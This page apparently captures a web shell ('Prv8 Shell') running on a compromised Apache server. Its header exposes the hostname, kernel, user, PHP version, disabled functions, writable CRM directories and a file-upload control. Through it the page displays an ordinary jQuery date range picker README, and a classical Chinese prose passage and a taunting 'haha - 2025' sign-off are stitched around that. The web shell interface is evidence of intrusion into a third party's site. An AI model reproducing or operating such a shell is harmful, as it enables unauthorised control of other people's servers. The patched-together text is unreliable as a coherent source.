晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/layouts/v7/lib/jquery/daterangepicker/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/layouts/v7/lib/jquery/daterangepicker/README.md
#jQuery Date Range Picker Plugin#

v0.0.5

jQuery Date Range Picker is a jQuery plugin that allows user to select a date range.

* Requires jQuery 1.3.2+, Moment 2.2.0+
* Supports IE6+, Firefox, Chrome, Safari and other standard HTML5 browsers.
* Supports multi-language
* Fully CSS styled
* Written by Chunlong ( jszen.com )
* I accept further customization job if you require more functions. Please contact me via longbill.cn@gmail.com

[Documentation](http://jszen.com/jquery-date-range-picker-plugin.4.html)

[Demo](https://longbill.github.io/jquery-date-range-picker/)

![screenshot](https://raw.github.com/longbill/jquery-date-range-picker/master/preview.jpg)


##what's new in 0.0.5##

* enable crontrol by script
* enable batch mode ( select week or month by one click )
* fixed some position issues
* fixed some time related bugs


##Configuration##

Usage:
```javascript
$('#dom-id').dateRangePicker(configObject);
```

The default configuration object is:
```javascript
{
	format: 'YYYY-MM-DD',
	separator: ' to ',
	language: 'auto',
	startOfWeek: 'sunday',// or monday
	getValue: function()
	{
		return this.value;
	},
	setValue: function(s)
	{
		this.value = s;
	},
	startDate: false,
	endDate: false,
	minDays: 0,
	maxDays: 0,
	showShortcuts: true,
	time: {
		enabled: false
	},
	shortcuts:
	{
		//'prev-days': [1,3,5,7],
		'next-days': [3,5,7],
		//'prev' : ['week','month','year'],
		'next' : ['week','month','year']
	},
	customShortcuts : [],
	inline:false,
	container: 'body',
	alwaysOpen:false,
	singleDate:false,
	batchMode:false,
	beforeShowDay: [function],
	dayDivAttrs: [],
	dayTdAttrs: [],
	applyBtnClass: ''
}
```

You can use the following keys in the configObject to overwrite the default configuration:

<b>format (String)</b>
<i style="display:block; margin-left:2em;">The date format string used for Moment.
click <a href="http://momentjs.com/docs/#/displaying/format/" target=_blank>here</a> to see Moment documentation</i>

<b>separator (String)</b>
<i style="display:block; margin-left:2em;">The separator string used between date strings</i>

<b>language (String)</b>
<i style="display:block; margin-left:2em;">pre-defined languages are "en" and "cn", you can define your own
language then set this to the name of new language.
You can also set this to "auto" to make it auto detect browser language.</i>

<b>startOfWeek (String)</b>
<i style="display:block; margin-left:2em;">"sunday" or "monday"</i>

<b>getValue (Function)</b>
<i style="display:block; margin-left:2em;">This function is called when get date range string from DOM
When it is called, the context of this function is set to the datepicker DOM</i>

<b>setValue (Function)</b>
<i style="display:block; margin-left:2em;">This function is called when set date range string to DOM</i>

<b>startDate (String or false)</b>
<i style="display:block; margin-left:2em;">This string defines the earliest date which is allowed for the user, same format as `format`</i>

<b>endDate (String or false)</b>
<i style="display:block; margin-left:2em;">This string defines the latest date which is allowed for the user, same format as `format`</i>

<b>minDays (Number)</b>
<i style="display:block; margin-left:2em;">This number defines the minimum days of the selected range
if this is 0, means do not limit minimum days</i>

<b>maxDays (Number)</b>
<i style="display:block; margin-left:2em;">This number defines the maximum days of the selected range
if this is 0, means do not limit maximum days</i>

<b>showShortcuts (Boolean)</b>
<i style="display:block; margin-left:2em;">hide or show shortcuts area</i>

<b>time (Object)</b>
<i style="display:block; margin-left:2em;">If enabled adds time selection controls.</i>

<b>shortcuts (Object)</b>
<i style="display:block; margin-left:2em;">define the shortcuts buttons. there are some built in shortcuts, see source code</i>

<b>customShortcuts (Array)</b>
<i style="display:block; margin-left:2em;">define custom shortcut buttons. see demo.js</i>

<b>inline (Boolean)</b>
<i>whether to render the date range picker dom in inline mode instead of overlay mode, if set to true, please set `container` too</i>

<b>container (String, css selector || DOM Object)</b>
<i>where should the date range picker dom should be renderred to</i>

<b>alwaysOpen (Boolean)</b>
<i>if you use inline mode, you may want the date range picker widget to be renderred when the page loads. set this to true will also hide the "close" button</i>

<b>singleDate (Boolean)</b>
<i>choose a single date instead of a date range.</i>

<b>batchMode (false / 'week' / 'month')</b>
<i> auto batch select mode </i>
<i> false (default), week, month, week-range, month-range</i>

<b>beforeShowDay (Function)</b>
<i>A function that takes a date as a parameter and must return an array with:
[0]: true/false indicating whether or not this date is selectable
[1]: a CSS class name to add to the date's cell or "" for the default presentation
[2]: an optional popup tooltip for this date
The function is called for each day in the datepicker before it is displayed.</i>

<b>dayDivAttrs (Array(Function))</b>
<i>An array of functions that take the today as a parameter and must return an object, e.g. `{title: "unavailable", class: " red-unavailable "}`.
The returned objects then merge, adding up existing keys (in order of callbacks in the array), so strings with same keys get concatenated and numbers result in the sum of them.
The resulting object then turns into `div` tag of the day attributes.</i>

```javascript
{
	dayDivAttrs: [
		function(date){ // let's put bg colors and price per day attributes from php-prepared data array or put the default one
			if(date == undefined) return {};
			return ( rentdates(moment(date.time)) )?
				{price: rentdates(moment(date.time)).price, title: '€' + rentdates(moment(date.time)).price}:
				{price: rentprice, title: '€' + rentprice};
		},
		function(date){ // let's underline saturdays and assign a title
			if(date == undefined) return {};
			return (moment(date.time).day()==6)?{'style': 'border-left: 2px lightgreen solid;border-right: 2px lightgreen solid;', 'title': '\nSaturday is the check-in day of week.'}:{};
		},
	]
}
```

<b>dayTdAttrs (Array(Function))</b>
<i>An array of functions that take the today as a parameter and must return an object, e.g. `{style: " background-color: red; "}`.
The returned objects then merge, adding up existing keys (in order of callbacks in the array), so strings with same keys get concatenated and numbers result in the sum of them.
The resulting object then turns into `td` tag of the day attributes.</i>

```javascript
{
	dayTdAttrs: [
		function(date){ // let's put bg colors from php-prepared data array
			if(date == undefined) return {};
			return ( rentdates(moment(date.time)) )?
				{style: 'background-color: ' + rentdates(moment(date.time)).color + ';'}:
				{};
		},
	]
}
```

<b>applyBtnClass (String)</b>
<i> Additional classes to add to the apply button </i>


##Events##

Three events will be triggered on the date range picker DOM
```javascript
$('#dom-id')
.dateRangePicker()
.bind('datepicker-change',function(event,obj)
{
	console.log(obj);
	// obj will be something like this:
	// {
	// 		date1: (Date object of the earlier date),
	// 		date2: (Date object of the later date),
	//	 	value: "2013-06-05 to 2013-06-07"
	// }
})
.bind('datepicker-apply',function(event,obj)
{
	console.log(obj);
})
.bind('datepicker-open',function()
{
  console.log('open');
})
.bind('datepicker-opened',function()
{
  // fires event after animation finishes
  console.log('opened');
})
.bind('datepicker-close',function()
{
	console.log('close');
})
.bind('datepicker-closed',function()
{
  // fires event after animation finishes
  console.log('closed');
});
```

###APIs###

after you called  $(dom).dateRangePicker();
```javascript
$(dom).data('dateRangePicker')
	.setDateRange('2013-11-20','2013-11-25');  //set date range, two date strings should follow the `format` in config object, set the third argument to be `true` if you don't want this method to trigger a `datepicker-change` event.
	.clear(); 	// clear date range
	.close(); 	// close date range picker overlay
	.open();	// open date range picker overlay
	.destroy();	// destroy all date range picker related things
```

haha - 2025